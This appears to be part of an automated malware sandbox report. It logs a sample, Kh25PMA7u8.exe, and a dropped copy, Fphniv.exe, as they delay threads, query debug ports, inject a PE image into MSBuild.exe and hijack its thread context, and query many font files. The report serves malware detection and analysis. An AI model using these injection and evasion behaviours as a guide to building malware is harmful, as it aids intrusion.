Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99870	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99639	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99170	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98776	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98530	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98417	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98068	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97691	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97525	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598560	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598259	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598131	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594258	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99875
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99762
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99656
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99546
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99437
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99328
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99218
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99094
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98953
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98842
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98733
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98624
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98515
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98405
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98281
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98171
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 98062
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97953
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 97844
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599853
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598582
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598412
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598275
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598156
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598047
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594376
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594262

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe base: 418000	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe base: 85C969D010	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe base: 418000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe base: 9EA89D010	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe base: 418000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe base: 8B86C81010	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Thread register set: target process: 6968	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Thread register set: target process: 5512	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Thread register set: target process: 4008	Jump to behavior

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fphniv.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe	Jump to behavior

Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Users\user\Desktop\Kh25PMA7u8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
